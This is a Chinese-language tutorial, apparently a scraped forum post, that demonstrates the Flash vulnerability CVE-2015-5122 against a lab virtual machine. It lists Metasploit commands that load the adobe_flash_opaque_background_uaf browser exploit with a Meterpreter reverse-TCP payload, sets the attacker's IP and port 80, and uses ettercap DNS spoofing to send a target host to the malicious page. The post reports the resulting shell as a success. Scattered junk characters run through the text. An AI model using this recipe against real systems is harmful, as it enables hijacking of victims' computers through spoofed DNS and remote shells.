cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机 . O: _. C# P; V# E2 g

4 a2 a9 d; M f0 g _0 G+ l/ V$ h6 Q- `

  关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 7 k+ _# B2 x$ T

7 W2 Y/ g" B/ X

* u% W# _0 U9 u) l search cve-2015-5122如图：

% b. b( [) n2 `" f7 x- t

- T! `' P! d. o) u) e$ u- T   9 ~4 t1 |9 `) U. T5 a! n

+ W4 r, g) Z G 下面我们敲如下命令： 5 ^. Y: @/ F# ?

6 }1 [; L& q# P: ^! M( k

8 X7 g) e* R ` use exploit/multi/browser/adobe_flash_opaque_background_uaf

set PAYLOAD windows/meterpreter/reverse_tcp

6 G; L6 R1 l, ~5 i( b

0 m6 q$ L% N2 h" O" X: s6 j2 f4 k set LHOST 192.168.0.109

% Z" V% o9 O2 q1 c set URIPATH /                        /*根目录*/ , J7 \" w/ ^+ X/ F

& n% B# ^ X' q* ]

set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

4 e$ i3 q( D' ~) D3 g set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用

: q; n E4 U0 O& I

: z$ b( p8 Z5 ]5 G' N+ s6 [7 ?# R 然后show options如图：

) H$ r7 i s0 V4 _  

% J* |8 F- Q# G 一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
2 R v0 S: L ~# K; J& j; ^0 B9 y + {) L% T a( |3 c0 ~! [

; ?; \- X+ @9 t6 @" p 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115

Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

 

# M3 K. v- O; ?9 `8 A

成功了，这时候我们断开ettercap，如图：

1 Q: F6 N5 N7 r! h1 y

  * g" d; L# Y: h! g3 h$ p

1 s9 c, c& x( y$ H* }

Screenshot如图：

- [9 n) f0 [0 r ?4 ~2 M# P

6 ?6 P; ?& @' r, a) I8 \* T3 m- m' e